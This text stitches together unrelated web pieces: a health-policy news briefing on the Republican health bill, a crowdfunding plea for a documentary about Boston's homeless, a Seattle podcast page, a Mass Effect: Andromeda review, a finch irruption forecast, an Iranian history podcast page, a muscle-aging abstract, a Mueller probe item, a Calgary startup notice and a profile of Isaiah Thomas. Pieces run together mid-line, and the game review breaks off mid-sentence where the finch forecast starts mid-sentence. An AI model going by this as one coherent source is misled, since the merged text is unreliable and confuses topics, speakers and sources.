Interviewer John Dickerson repeatedly asked Mr. Trump if the Republican plan—being negotiated among GOP lawmakers in the House—would guarantee coverage to people in every state, regardless of their medical history. Mr. Trump said that it would, but he didn’t directly address the possibility that some states could opt to charge more to people with such pre-existing conditions, the current sticking point in negotiations between GOP centrists and conservatives. (Radnofsky, 4/30)
The Hill: Trump Says Coverage Of Pre-Existing Conditions Will Be In Healthcare Plan
He said the GOP's new healthcare bill is "much different than it was a little while ago." "This bill has evolved. And we didn't have a failure on the bill," he said. "You know, it was reported like a failure. Now, the one thing I wouldn't have done again is put a timeline. That's why on the second iteration, I didn't put a timeline," he continued. (Savransky, 4/30)
The Associated Press Fact Checker: Are Trump's Health-Plan Protections Real?
President Donald Trump is promising that the latest Republican health care legislation will cover people with pre-existing conditions "beautifully." Such reassurance is not to be found in the bill that's been under review. (Woodward and Drinkard, 5/1)
The Associated Press: Fears Of Losing Pre-Existing Conditions Protection Under GOP
From cancer to addiction, doctors and patient groups are warning that the latest Republican health care bill would gut hard-won protections for people with pre-existing medical conditions. Some GOP moderates who may seal the legislation's fate are echoing those concerns. In a strongly worded statement this week, the American Medical Association said the Republican protections "may be illusory." The American Cancer Society Cancer Action Network said the plan could take the nation back to a "patchwork system" that pushes costs on people with life-threatening conditions. (Alonso-Zaldivar and Fram, 4/28)
The Hill: Trump: I Won't Touch 'Concept Of Medicare'
President Trump during an interview that aired Sunday said he will not touch the "concept of Medicare." "I'm not going to touch it, because I said it," the president said during an interview on CBS's "Face The Nation." "Now, waste, fraud and abuse, I'm going to touch. If there's something in Medicare that's been abused, I will touch that." (Savransky, 4/30)
Politico: Trump In Tweets: ‘New Healthcare Plan Is On Its Way’
President Donald Trump isn't giving up on a new plan to repeal and replace the Affordable Care Act. In Sunday morning tweets, Trump said a new health care plan is on its way, adding: "Obamacare is dead." (Morin, 4/30)
The Hill: Trump Blasts 'Dead' ObamaCare: New Healthcare Plan 'On Its Way'
"Dems want billions to go to Insurance Companies to bail out donors....New...healthcare plan is on its way. Will have much lower premiums & deductibles while at the same time taking care of pre-existing conditions!" [he tweeted.] (Savransky, 4/30)
This is part of the KHN Morning Briefing, a summary of health policy coverage from major news organizations. Sign up for an email subscriptionNightcrawlers is a film about good and evil, light and dark, and the measures one will go to find the truth. 5 years ago a filmmaker from Boston, Stephen McCoy, set out to document the nightlife of Boston. The nocturnal subculture of addicts, street performers, and the homeless that lived beneath the cracks of the surface of the city became his focus; Realizing the stories of these people needed to get out there, he went on an odyssey deeper and deeper into downtown Boston to uncover it's most unearthed secrets; the nocturnal inhabitance of the city; the "Nightcrawlers.
Stephen, armed with a camcorder and a curiosity of the streets, managed to tap his way into and capture the central nervous system of the urban landscape; it's dwellers that face the day to day struggles and survival in the concrete jungle they call home. He created a spellbinding tour de force of footage, becoming an eye into a world he had never seen before.
But before long and 80 hours of footage later, the documentary transformed Stephen into a "Nightcrawler" and soon, he was living on the streets homeless and addicted to drugs. He documented and filmed all of the pain of this journey, so he could finish his film Nightcrawlers and finally put a microscope over some of America's biggest issues; the opiod crisis, the struggling middle class, and the homelessness epidemic that sweeps America, sacrificing himself for the good of the project.
My name is Kevin Ronca, founder of Write Brain. We are an art collective interested in creating projects that give a voice to those who need it most through filmmaking and storytelling. We were recently looking for a new project (our last documentary The Revolution Televised was narrated by Viggo Mortensen and amassed a cult following) when we discovered Stephen's trailer for Nightcrawlers on Vimeo. It was 3 years old.
Mesmerized by the rawness of the imagery and storytelling of this short mysterious trailer, it took work, but we tracked Stephen down. He was in a homeless shelter in Boston. We flew him to LA and let him stay with us, while we worked closely with him to help finish his film Nightcrawlers, giving him closure after sacrificing his life for some of the most compelling footage we had ever seen.
We grew very close with him and have worked very hard to get a rough cut. Stephen was forced to fly home for a court case, and funds have run low. This film is ready to be finished, but we've hit the biggest brick wall of art; financing.
Finishing this film would be like saving a life, Stephen McCoy's life. He's given his everything to this project, nearly dying to make it and he is now clean and sober. He has turned his life around and made this film to show the perils of addiction and homelessness that is more common than most realize, while also casting a light on some of the most beautiful elements of city life.
This hour and a half feature film is our answer to the over saturation of super hero movies, CGI, and remakes/ 3-D films. This is raw, real life storytelling. A street life mosaic and kaleidoscope of a crumbling society and those who survive within it's ruins. A sub culture of people that band together, forgotten by the establishment, and forced to fend for themselves through the eyes of a camcorder camera.
Composed from over 80 hours of super 8 cartridges, hi-8 tapes, VHS tapes, and any other format Stephen could find to shoot on at the time, and spanning almost 6 years, this film will be a journey by the likes of which has never been shown on film.
Help us finish Nightcrawlers. The funds will be used for sound mixing, Stephen's airfare so he can return to LA and live on my couch while we finish the film and put the finishing touches on it in time for South by Southwest.
We made our last documentary and it was an hour and a half long with an Oscar Nominated actor narrating it. For $1,000; with the film 75% done, it will go a long way to allowing Stephen to work closely with us on finishing the film properly, adding voice over narration and Foley, hiring someone to do the score, and marketing resources for poster design and other various elements to marketing the film.
This film is for anyone that's ever felt like their back was against the wall and everyone had given up on them. It's an underdog story; a cautionary tale of the struggle that lies underneath the surface of any major city. This film is for the "Nightcrawlers" of the world. Let's not hide them from the world any longer. It's time for their story and Stephen's to be told.
This project was at one time the top film project on Reddit. People want to see this film, let's help Stephen finish it once and for all and share it with the world.This special episode of Seattle Growth Podcast brings you more information about the proposed ordinance that can change the way public spaces are used in neighborhoods throughout Seattle. Seattle City Council is considering a proposal that will set rules dictating the city’s response to unsanctioned encampments on public property. A recent draft can be found here.
The proposal has made headlines, but Seattle Growth Podcast is the first to bring you in-depth interviews from multiple perspectives closest to issue. City Councilmember Rob Johnson discusses the proposal and why he co-sponsored it. City Councilmember Tim Burgess discusses why he is opposed to the proposal and what he believes should be done instead.
For a perspective outside of government, the episode also includes an interview with the CEO of the Downtown Seattle Association: Jon Scholes.
For those of you who would like to have your voice heard on either side of this issue, you may find the City Councilmembers’ contact information below:
Lisa Herbold
206-684-8803
[email protected]
Bruce Harrell
206-684-8804
[email protected]
Kshama Sawant
206-684-8016
[email protected]
Rob Johnson
206-684-8808
[email protected]
Debora Juarez
206-684-8805
[email protected]
Mike O’Brien
206-684-8800
[email protected]
Sally Bagshaw
206-684-8801
[email protected]
Tim Burgess
206-684-8806
[email protected]
Lorena Gonzales
206-684-8802
[email protected]
You may contact all city council members in a single email using [email protected]
Seattle Growth Podcast Live Announcement
Also, be sure to join UW Foster professor Jeff Shulman, who hosts Seattle Growth Podcast, for Seattle Growth Podcast Live on October 17th.
Register Now
Shulman will moderate a distinguished panel of community leaders in a discussion about how to address the growth-related challenges and opportunities that will shape Seattle’s future. The panel includes:
The panel discussion will be preceded by a networking opportunity during a reception with appetizers and a cash bar.
Where: Impact Hub Seattle. See Location and Parking information.
When: Monday, October 17th, 6pm to 8pm
Register Now
The event is sponsored by
UW Foster Buerk Center for Entrepreneurship and Impact Hub SeattleSpoilers ahead, including for the ending.
I finished Mass Effect: Andromeda last night—the main story, that is, because I will never hundred-percent those wasted planets—and felt the opposite of what I've been feeling for nearly 10 years now. I don’t want more Mass Effect. At least, not if it stays this course.
Andromeda is a thousand ton tangle of narrative cables spread across a galaxy, ambitious and unwieldy.
Andromeda is a thousand ton tangle of narrative cables spread across a galaxy, ambitious and unwieldy. Characters reference events that haven’t happened, talk over themselves, don’t know if you’re coming or going—their dialogue only guesses at what part of the tangle you’ve navigated so far. That isn't my problem with Andromeda. Only BioWare makes RPGs like this, and each of its games is a hell of an achievement, even one as knotty and wild as Andromeda.
I enjoyed Andromeda in part because of that heft. As I pushed through bugs and boring sidequests it could still delight me with a casual exchange between my squadmates, a reference to something I’d done earlier or a joke at my expense. I’m not hung up on animation glitches and I’ve pushed aside the reams of dull, expository dialogue to appreciate the fun exchanges where I’m getting shit for cheating on my ship girlfriend with my land boyfriend.
Even if it were untangled and smoothed over, which BioWare intends on doing, I still wouldn’t have left Andromeda feeling primed to come back. If a sequel happens—and this isn’t necessarily the start of a new trilogy —I hope they freeze me and shoot me at another star 600 years away. Start the whole thing over, because this canvas was primed with bad paint: a science fiction story that runs away from all its interesting science fiction ideas. Andromeda is afraid of its own premise.
Party boat colonizers
If the settlers believed they were the last of their kind, a science fiction story could begin.
Few aboard the arks had a good reason to colonize Andromeda. It wasn’t for a more comfortable life. Settler life is hard. It wasn’t for freedom or wealth—though the civilizations of the Milky Way are capitalist—because there’s no way to trade with their home galaxy or ever return, and the Initiative isn't exactly egalitarian. It wasn’t to escape impending doom, though doom was impending. When asked, the characters answer: Because science! Because exploration! To escape something in my past?
These are ridiculous reasons to colonize a new galaxy. The Milky Way includes 100 billion stars, and that wasn’t enough?
If you watched all the dad fragments, you know the truth: the |
crops there. This fall most Purple Finches should migrate south of Ontario because many coniferous and deciduous tree seed crops are much lower in central and northeastern Ontario. When Purple Finches leave Ontario in October and November, they return in mid-April to mid-May to breed. At feeders Purples prefer sunflower seeds. Old-timers remember when Purple Finches were much commoner than they are today. The principal cause of the decline may be the absence of large outbreaks of spruce budworm. RED CROSSBILL: Red Crossbills will be scattered in the Northeast this winter because cone crops are generally poor. Expect some in Ontario where red and/or white pines have locally good cone crops. A few Red Crossbills were reported this past summer north of Lake Huron. Red Crossbills comprise at least 10 "call types" in North America. However, the types are usually impossible to identify without recordings of their flight calls. Matt Young (may6 at cornell.edu) at The Cornell Lab of Ornithology will identify types if you send him your recordings and this will help with his ongoing research. Matt reports that Type 10s have been moving around the Great Lakes and Northeast for a few months and Pascal Cote of the Tadoussac Bird Observatory in Quebec reports a small movement of Type 3s. WHITE-WINGED CROSSBILL: This crossbill will be mostly absent this winter from central Ontario such as in Algonquin Park because spruce and hemlock cone crops are very poor there. White-winged Crossbills move east and west like a pendulum across North America searching for bumper cone crops. In the Northeast they should winter in numbers around James Bay and east across north/central Quebec into the Gaspe Peninsula where spruce crops are heavy. Pascal Cote reports that White-winged Crossbills are currently abundant in boreal areas of Quebec such as Charlevoix and Chibougamau. They are unlikely to irrupt south in numbers because the excellent spruce cone crops in Quebec, northwestern Canada and Alaska should keep this crossbill within the boreal forest. COMMON REDPOLL: Expect a moderate to good flight south this fall and winter because birch seed crops are variably poor to average in the boreal forest. At bird feeders redpolls prefer nyger seeds in silo feeders. Watch for "Greater" Common Redpolls (subspecies rostrata) from Baffin Island and Greenland in flocks of "Southern" Common Redpolls (nominate subspecies flammea). Greaters are larger, browner, longer tailed, and bigger billed in direct comparison with "Southerns". For photos of "Greater" Common Redpolls see links #5 and 6 below. Watch for redpolls in weedy fields. HOARY REDPOLL: Watch for Hoaries this winter mixed in with flocks of Common Redpolls. The "Southern" Hoary Redpoll (nominate subspecies exilipes) which breeds south to northern Ontario is the usual subspecies encountered. It is rare but regular in redpoll flocks. "Hornemann's" Hoary Redpoll (subspecies hornemanni) was once considered a great rarity south of the tundra, but it has been documented with photos in recent years with four records accepted to date by the Ontario Bird Records Committee. For photos of Hornemann's see link #6 below. PINE SISKIN: Siskins were observed in numbers this summer around southern James Bay and in southern Yukon. They will move east and west this fall searching for areas with excellent spruce cone crops. Siskins should winter in Alaska and north-central Quebec where spruce crops are excellent. However, those that fail to find adequate cone crops will probably wander south where they will frequent bird feeders with nyger seeds in silo feeders. Siskins are often detected by their wheezy clee-ip call, which is the best way to identify them in flight. EVENING GROSBEAK: Very small numbers of Evening Grosbeaks should move south this winter into southern Ontario and the Northeast because tree seed crops are generally poor farther north. This past summer, Tyler Hoar reports the lowest number of Evening Grosbeaks that he has seen around Lake Superior and in Quebec's Laurentians in four years. Breeding populations are now much reduced from the population peak during the 1940s to 1980s linked to large outbreaks of spruce budworm. The feeders at the Visitor Centre in Algonquin Park should have some grosbeaks this winter. At feeders Evening Grosbeaks prefer black oil sunflower seeds. THREE IRRUPTIVE PASSERINES: Movements of the following three passerines are often linked to the boreal finches. BLUE JAY: Expect a good to heavy flight (many more than last year) moving westward along the north shorelines of Lakes Ontario and Erie because the acorn, beechnut, hazelnut and soft mast crops averaged low in northeastern, central and eastern Ontario. However, acorn crops were much higher in the Carolinian Zone south of Toronto. Expect fewer Blue Jays at feeders in Ontario this winter because many jays will migrate out of the province this fall. RED-BREASTED NUTHATCH: This nuthatch is a conifer seed specialist when it winters in the boreal forest. Cone crop failures cause irruptions. It began wandering southward in mid-summer indicating that boreal finches would also move this fall and winter. Many but not all Red-breasted Nuthatches should move south this fall because white spruce cone crops are generally low to average (some bumper crops) across much of the boreal forest. At bird feeders Red-breasted Nuthatches prefer black oil sunflower seeds, chopped peanuts and suet. BOHEMIAN WAXWING: Most Bohemians should stay in the north this winter because the mountain-ash berry crop is generally very good to excellent across most of the boreal forest except in northeastern Ontario. When Bohemians move south they are attracted to berries on European Mountain-ash, small ornamental crabapples and buckthorn berries. With the recent breeding range expansion east across northern Quebec and the annual abundance of buckthorn berries in settled areas, Bohemians now occur every winter in varying numbers in southern Ontario, southern Quebec and New York State. WHERE TO SEE FINCHES: Algonquin Park is an exciting winter experience about 3.5 hour drive north of Toronto. Cone crops are poor in the park this year so finch numbers will be very low. However, feeders at the Visitor Centre (km 43) should attract Common Redpolls (watch for Hoaries), Evening and Pine Grosbeaks. The Visitor Centre and restaurant are open weekends in winter. On weekdays arrangements can be made to view feeders by calling 613-637-2828. The bookstore has one of the best selections of natural history books anywhere. Be sure to get the Birds of Algonquin Park (2012) by retired park naturalist Ron Tozer. It is one of the finest regional bird books ever published. The nearby Spruce Bog Trail at km 42.5 and Opeongo Road at km 44.5 are the best spots for finches and other species such as Gray Jay, Boreal Chickadee, Spruce Grouse and Black-backed Woodpecker. NOTE: Previous finch forecasts and much additional information with photos are in the following links:Non-Muslim communities of the Middle East were intimately involved in the rise of constitutional politics that occurred in both the Ottoman Empire and Iran during the early 20th century. But to what extent were their interests represented in the emerging parliaments of revolutionary constitutional governments? In this episode, Saghar Sadeghian discusses her research on the representation of non-Muslim communities of Iran such as Jews, Armenians, Zoroastrians, and Baha’is during the early years of constitutionalism from 1906 to 1911.
PARTICIPANTS
Saghar Sadeghian is the Henry Hart Rice Family Foundation Fellow and Lecturer at the MacMillan Center. Her research focuses on the ideas of nationality, constitution, and modern institutions in Iran, Iraq, and Afghanistan during the nineteenth and twentieth centuries. She is specifically interested in minority groups in the Middle East and the question of gender, race, religion and ethnicity. Chris Gratien holds a Ph.D. from Georgetown University’s Department of History. His research focuses on the social and environmental history of the Ottoman Empire and the modern Middle East. He is currently preparing a monograph about the environmental history of the Cilicia region from the 1850s until the 1950s.
CREDITS
Episode No. 236
Release Date: 7 April 2016
Recording Location: Yale University
Editing and production by Chris Gratien
Sound excerpts: Istanbul’dan Ayva Gelir Nar Gelir – Azize Tozem and Sari Recep; Baglamamin Dugumu – Necmiye Ararat and Muzaffer; Seyfettin Sucu – Eğin Türküsü (digitized by Chris Gratien); Harmandali – Recep Efendi, Cemal Efendi
Image via Iran Review
Bibliography courtesy of Saghar Sadeghian
SELECT BIBLIOGRAPHY
Abrahamian, Ervand, Iran Between Two Revolutions, (Princeton University Press, Princeton.1982).
Afary, Janet, The Iranian Constitutional Revolution, 1906-1911, (Colombia University Press, New York, 1996).
Bayat, Mangol, Iran’s First Revolution, Shi’ism and the Constitutional Revolution of 1905-1909, (Oxford University Press, New York, Oxford, 1991).
Berberian, Houri, Armenians and the Iranian Constitutional Revolution of 1905-1911, (Westview Press, the USA and the UK, 2001).
Brookshaw, Dominic Parviz, and Fazel, Sina B., (editors), The Baha’is of Iran, (Routledge, London and New York, 2008).
Chaqueri, Cosroe, The Armenians of Iran: The Paradoxical Role of a Minority in a Dominant Culture, Articles and Documents, (Cambridge, Mass, Distributed for the Center for Middle Eastern Studies of Harvard University by Harvard University Press, 1998).
Der Matossian, Bedross, Shattered Dreams of Revolution: From Liberty to Violence in the Late Ottoman Empire. Stanford, CA: Stanford University Press, 2014.
Golnazarian-Nichanian, Magdalena, Les Arméniens d’Azerbaïdjan, Histoire locale et enjeux régionaux 1828-1918, (Centre d’Histoire Arménienne Contemporaine, Paris, 2009).
Hairi, Abdul-Hadi, Shi’ism and Constitutionalism in Iran. A Study on the Role Played by the Persian Residents of Iraq in Persian Politics, (E.J. Brill, Lieden, 1977).
Momen, Moojan, “The Baha’is and the Constitutional Revolution: The Case of Sari, Mazandaran, 1906-1913”, Journal of International Society for Iranian Studies, Vol.41, No.3, (Routledge, UK., 2008), pp.343-363.
Sanasarian, Eliz, Religious Minorities in Iran, (Cambridge University Press, UK, 2000).
Sohrabi, Nader, Revolution and Constitutionalism in the Ottoman Empire and Iran. New York: Cambridge University Press, 2011.
اشراق خاوری، عبدالحمید، “شرح حال مرحوم شیخ الرئیس”، آهنگ بدیع، سال پنجم، شماره های یازدهم تا هجدهم، لجنۀ ملی نشریات امری، تهران، 107-108 بدیع/ 1951-1952 میلادی
امینی، تورج، اسنادی از زرتشتیان معاصر ایران (1338-1258 ش) ، سازمان اسناد ملی ایران پژوهشکدۀ اسناد، تهران، 1380ش
کرمانی، ناظم الاسلام، تاریخ بیداری ایرانیان، به اهتمام علی اکبر سعیدی سیرجانی، 2 جلد، انتشارات بنیاد فرهنگی ایران با همکاری انتشارات آگاه و انتشارات لوح، تهران، تابستان 1357Advancing age is associated with a progressive loss of skeletal muscle (SkM) mass and function. Given the worldwide aging demographics, this is a major contributor to morbidity, escalating socio-economic costs and ultimately mortality. Previously, it has been established that a decrease in regenerative capacity in addition to SkM loss with age coincides with suppression of insulin/insulin-like growth factor signalling pathways. However, genetic or pharmacological modulations of these highly conserved pathways have been observed to significantly enhance life and healthspan in various species, including mammals. This therefore provides a controversial paradigm in which reduced regenerative capacity of skeletal muscle tissue with age potentially promotes longevity of the organism. This paradox will be assessed and considered in the light of the following: (i) the genetic knockout, overexpression and pharmacological models that induce lifespan extension (e.g. IRS-1/s6K KO, mTOR inhibition) versus the important role of these signalling pathways in SkM growth and adaptation; (ii) the role of the sirtuins (SIRTs) in longevity versus their emerging role in SkM regeneration and survival under catabolic stress; (iii) the role of dietary restriction and its impact on longevity versus skeletal muscle mass regulation; (iv) the crosstalk between cellular energy metabolism (AMPK/TSC2/SIRT1) and survival (FOXO) versus growth and repair of SkM (e.g. AMPK vs. mTOR); and (v) the impact of protein feeding in combination with dietary restriction will be discussed as a potential intervention to maintain SkM mass while increasing longevity and enabling healthy aging.
© 2015 The Authors. Aging Cell published by the Anatomical Society and John Wiley & Sons Ltd.The special counsel investigating Russia's election meddling is now reportedly looking at whether US President Donald Trump attempted to obstruct justice by firing the head of the FBI.
The Washington Post, citing several people who have knowledge of the investigation, said special counsel Robert Mueller's probe widened following James Comey's abrupt dismissal in early May.
Mr Comey has publicly accused Mr Trump of firing him to undermine the FBI's investigation into possible collusion between Mr Trump's 2016 presidential campaign team and Russia.
The White House quickly denied this was the reason, before Mr Trump himself confirmed it was true.
"I just fired the head of the FBI. He was crazy, a real nut job," Mr Trump told Russian officials when they visited the day afterwards, an official told the New York Times. "I faced great pressure because of Russia. That's taken off."
It's not clear how many people have been questioned by the FBI or the special counsel, or if Mr Trump will invoke executive privilege for himself or his officials to avoid answering questions - which could be illegal anyway, according to Supreme Court rulings made during the Watergate scandal.Startup Calgary will be hosting their 3rd Annual Launch Party, showcasing technology startups from Southern Alberta on Wednesday, November 14, 2012.
Startup Calgary is all about community building with their main goal to bring the IT based startup community in Calgary closer together. There's a whole lot of get-togethers, basement startups and technologies being dreamed up in our city that no one is aware of and this is their chance to be noticed and supported.
Last year's Launch Party brought in over 350+ excited and engaged members of our startup community, and we want to do it again! The event is designed to bring together everyone interested in Technology and startups with the community who supports it for a great night of conversation, demos and introductions.
The Launch Party showcases the newest, top 10 innovative startups in Calgary to VC's, angel investors, A100, startup tech companies, the community and its supporters to ignite a stronger network and community, plus we are working hard to raise the profile of the tech startup scene in Calgary.
The event will start with a cocktail reception, with 10 tech startups stationed around the room. Each company will showcase their wicked technology and demonstrate how they are changing the tech landscape in Calgary. Then it's on to the larger event where, during the evening, the top 3 selected companies will do a quick 2 minute pitch to the audience.
For more information and to purchase tickets, please visit: launchparty2012.eventbrite.com/, or visit startupcalgary.ca/launchparty/WALTHAM, Mass. -- There are nights when Isaiah Thomas returns to the Boston Celtics' practice facility to get up shots, and when he's finished, he takes a moment to look at the 17 title banners that ring the court and marvel at how he got here.
"Sometimes I'm in here alone, and I'm like, man, I play for the Boston Celtics. I'm the franchise player for the Boston Celtics. Like, it doesn't make sense," said the 5-foot-9 Thomas, the 60th and final pick in the 2011 draft.
"But at the end of the day, I dreamed about stuff like that. So even though nobody believed that, I believed that one day it was going to happen. For it to happen and for me to be living my dream, it's like every day I'm happy."
For the start of the season, Nike debuted campaigns for some of its top NBA players. There are posters around Boston that show Thomas driving at the rim with Chicago's Jimmy Butler trying to defend from behind with the headline, "Pick me last again."
It isn't lost on Thomas that a mere 20 months ago, he wasn't particularly happy. He was a third-string point guard tangled in the Phoenix Suns' backcourt spiderweb. Still, it came as a surprise when the team dealt him -- four months into a four-year contract -- to the Celtics in the frenetic final moments before the 2015 trade deadline.
Since that day, Thomas has spearheaded Boston's run to consecutive playoff appearances, earned his first All-Star nod, represented the Celtics on stage at the NBA draft lottery, served as the team's primary recruiter in the pursuit of top free agents including Kevin Durant and emerged as the face of one of the league's most storied franchises. With help from Thomas, the Celtics landed another All-Star this summer, Al Horford, and are the popular choice to push the Cleveland Cavaliers in the Eastern Conference.
Thomas beams with excitement when he talks about the potential for this year's squad. But after looking forward, he's presented with a curveball that takes him back: What if the Celtics had never traded for him?
"Where would I be? I don't know. Probably somewhere else," Thomas said. "I mean, the Phoenix thing just wasn't working out. It seemed like they didn't want me as bad as they did when the summertime happened. You never know. I don't know where I would be. I'd be somewhere."
Would Thomas be the face of another franchise?
"You never know. I mean, I always felt one day I was going to be, no matter where it was," he said. "I don't know. That's a tough question. I don't know where I would be. Knowing me, things would have worked out somewhere, but who says it would have worked out like it has since I got traded?"
As the conversation continues, Thomas is still processing the hypothetical. He eventually circles back to the question.
"I guess if that trade with me didn't happen, and this team never jelled -- everything just came together, slowly but surely, especially having a great coach in Brad Stevens -- if that all didn't happen, then Al Horford's not coming here. Kevin Durant's not considering us," Thomas said.
"And the world's not talking about the Boston Celtics as being a top-three seed in the Eastern Conference. That's just fact."
In his first full season in Boston, Isaiah Thomas put up a career-high 22.2 points per game en route to his first All-Star nod. Tim Bradbury/Getty Images
'It's like a 10 percent chance'
On Feb. 19, 2015, Thomas sat near the back of the Suns' bus that was set to take the team to the airport for a flight to Minnesota, where Phoenix was set to open the second half of the season. As the final minutes before the trade deadline ticked off, Thomas hoped the team would make a move to alleviate the backcourt logjam that was making everyone involved miserable.
Although Thomas was fairly certain the Suns were going to move publicly disgruntled Goran Dragic, Thomas still phoned his agent to check in as the clock ticked toward 3 p.m. ET. Despite his being just four months into a four-year, $27 million deal, Thomas knew there was a chance he could be moved too.
"My agent was like, 'There might be something, but it's like a 10 percent chance,'" Thomas said. "And he didn't even bring up Boston."
Back at the Celtics' practice facility, Ainge had resigned himself to the fact that there simply might not be a deal to be made -- enough so that Ainge phoned Stevens about 10 minutes before the trade deadline and told him the roster was likely going to stay intact. Across the country in Sacramento, Stevens told an assistant to get the players ready for the start of an afternoon practice at Sleep Train Arena.
Eight minutes later, Ainge called back. The Suns had re-engaged about a deal for Thomas that Ainge hadn't really considered a possibility because Phoenix had balked a few days earlier when Boston called to see if Thomas were available.
"I'm blessed, man. And I don't take it for granted because a year and a half ago, it was like, I was the third-string point guard. Years before that I was the 60th pick. A lot has changed and it's been nice."
On the Suns' bus, word arrived that Dragic had been dealt to the Miami Heat. Thomas recalls a sense of relief washing over the bus, as players were excited that the backcourt logjam might ease.
The deadline passed, but news about deals was still trickling out. Wright, who had been traded from Boston to Phoenix one month earlier, stood up and announced, "IT, you just got traded!" Thomas thought it was a joke. A Phoenix assistant coach climbed onto the bus a couple minutes later and confirmed the news.
All the Suns got in return for Thomas was veteran guard Marcus Thornton and a 2016 first-round pick (it was Cleveland's pick and checked in at No. 28 that year). Suns general manager Ryan McDonough, who cut his teeth in Boston's front office, later admitted, "If I could get a mulligan, that'd be it."
Gerald Green, who often shared the floor with Thomas in Phoenix during that 2014-15 season, said the two talked often about how they might thrive in the right situation. Green signed with Boston this summer, in large part because of Thomas' presence and the Celtics' status as contenders in the East. It doesn't surprise Green to see Thomas flourishing.
"We didn't want to see Isaiah go [in Phoenix]," Green said. "We were kind of blown away when he got traded because he was really one of the guys that kept the team pumping, on and off the court. So when he got traded, we kind of felt down as a team in Phoenix. We knew he was going to be successful here in Boston. We didn't know just how successful he could be.
"Just to see him to that point and this point now, I just smile, man. He was a guy that one team didn't want him, two teams didn't want him, and now a team like the Boston Celtics, who have championship aspirations, are just in love with him. It just makes me smile, man. It's kind of like looking at your little brother grow up."
'Isaiah was what we needed'
Stevens isn't one for hypotheticals, but presented with the question of where Boston would be without Thomas, he admits that Thomas' arrival was exactly what this team needed to move forward at that point.
"I've never really thought about [what might have happened without Thomas], but it made us different because we had a guy that -- and I've said this many times -- Isaiah was what we needed," Stevens said. "There's no question about that. And the players around him make him better too. I think he is such a good fit for the guys that are here, and they are such a good fit for him. And that's why it works, right? He's been great. It's fun having him around."
It's easy to forget now, but the Celtics' roster was in a constant state of flux during that 2014-15 campaign, in which Boston carried a staggering 40 different players. The roster overhaul really started in December, when the team traded Rajon Rondo, the last holdover from the 2008 title squad, to Dallas in exchange for a package that included Brandan Wright, Jameer Nelson, Jae Crowder and draft picks.
Crowder, used to playoff appearances in Dallas, remembers being leery of what Boston was trying to do, so much so that he confronted Stevens after a practice in January and demanded to know if the young coach was OK with tanking. Stevens was adamant that his lone focus was getting better, and the Celtics, a.500 team through mid-January, started making the sort of progress that calmed Crowder in the month leading up to February's trade deadline.
That progress also gave Celtics president of basketball operations Danny Ainge confidence to explore moves that had the potential to make the team better at a time when some wondered if Boston's rebuild would be better served by stripping talent and losing games.
"I think the biggest thing for us was, under most circumstances, [the Suns deal] would be a trade that we would do because of how we felt about Isaiah, all day long," Ainge said. "The only downside was we were going to get better in the second half of the year, when there wasn't much hope for us to really contend."
"That was the biggest question that, ultimately, it came down to. We just liked Isaiah better than a few spots higher in the draft, and we ended up making the playoffs that year, and I think that was good for lots of reasons -- just the morale of the team and our coaches.
"More than anything, we ended up getting a player that's hard to find in any draft, let alone going from -- what did we pick, 16 that year? If we had not done the deal, we probably would have ended up at maybe 12 or 13, I don't know. And we got Terry Rozier with that pick, who's going to help us this year."
With only one ball to go around in Phoenix, Isaiah Thomas was the odd-man out in the Suns' point guard logjam. Barry Gossage/NBAEGetty Images
'It's crazy to see Tom Brady's name on my phone'
Despite everything he has accomplished the past 20 months, Thomas is far from satisfied. He is enthralled by the success of others at the pinnacle of their sport. That's why he's close with boxer Floyd Mayweather Jr. That's why, in a summer filled with adventures, he ranks getting to meet Hall of Famer -- and childhood idol -- Allen Iverson as maybe his biggest thrill. Also, after they exchanged numbers at the Durant pitch in the Hamptons, Thomas now casually exchanges text messages with New England Patriots quarterback Tom Brady.
"It's crazy to see Tom Brady's name on my phone. It doesn't seem real. Just like playing for the Celtics and being that guy doesn't seem real," Thomas said. "Like meeting David Ortiz and him knowing who I am, all that stuff doesn't seem real. I'm blessed, man. And I don't take it for granted because a year and a half ago, it was like, I was the third-string point guard. Years before that, I was the 60th pick. A lot has changed, and it's been nice."
What hasn't changed is Thomas' desire to improve. Thomas averaged 22.2 points and 6.2 assists per game last season, and that barely tells the story of how important he was to Boston's offense. He's eager to prove to naysayers that he can maintain an All-Star level of play and continue to evolve his game. But what matters most to him is proving he's a winner, and his No. 1 goal is to take this team deeper in the playoffs.
"I just know the great players never get satisfied," he said. "I'm trying to put my name in the same categories as those players, whether it be Floyd Mayweather, Tom Brady. I'm trying to learn from them and use my platform to be able to reach out and have relationships with those great players because I want to see how they think.
"I don't know it all. I don't know how to win at a high level when it comes to winning playoff series. But I want to learn. I think that's the best thing about the great players: They want to learn, they are willing to learn, and they are willing to get better."
The Celtics starters endured some bumps early in training camp while integrating Horford -- mostly because everyone was being too unselfish -- but preseason play suggests the first unit should be one of Boston's strengths. Horford is such an ideal fit for this team, particularly the way he moves the ball offensively, and his back-line defense will help a team that tied for the fourth-best defensive rating in the league last season.
Even better, Horford's quiet demeanor allows Thomas to remain in the spotlight. Before preseason games at TD Garden, Thomas was announced last, with Horford coming out a spot before him during starting the lineup.
"Al's an easy guy to coexist with," Stevens said. "There's no question about that."
Thomas recognized that more talent was needed to get this team where it wanted to go. He would have been fine sacrificing some of his own spotlight if the team could have hooked Durant, and Thomas wants Ainge to keep swinging for the fences. Thomas knows that more talent helps make the game easier for him. He's thrilled to have Horford as his new running mate; it even allows Thomas to shoot for loftier goals, individually.
"I want more. I tell people: I want to be All-Star, I want to be All-NBA, one day I want to be an MVP," he said. "That's not just me talking. That's goals that I have. Being on the Boston Celtics and being able to win and make the playoffs, those are achievable."
Thomas, motivated highly by those who think his All-Star appearance last season was a fluke, has looked very much like a player hoping to get a return trip this February. Through Boston's first three games, Thomas is averaging a team-best 24.7 points per game while shooting 53.1 percent from the floor. Boston's offensive rating is 107.9 points per 100 possessions when Thomas is on the floor.
Thomas can become the third Celtics player in the past 50 years to average 24 or more points in Boston's first four games on Wednesday against the Bulls, and would join elite company in Paul Pierce and Larry Bird.
It's fair to wonder where Boston would be if that 2015 deadline had passed without activity. How would morale have been after another trip to the lottery? How would the Celtics have added talent without establishing a winning environment?
Where would the Celtics be without Thomas? It seems fair to say the future wouldn't look quite so bright.For six weeks, from the Olympics opening ceremonies to the Paralympics closing, men and women represent their country with one common goal in mind: Gold. Subscribe now for SPORTS ILLUSTRATED’s in-depth coverage.
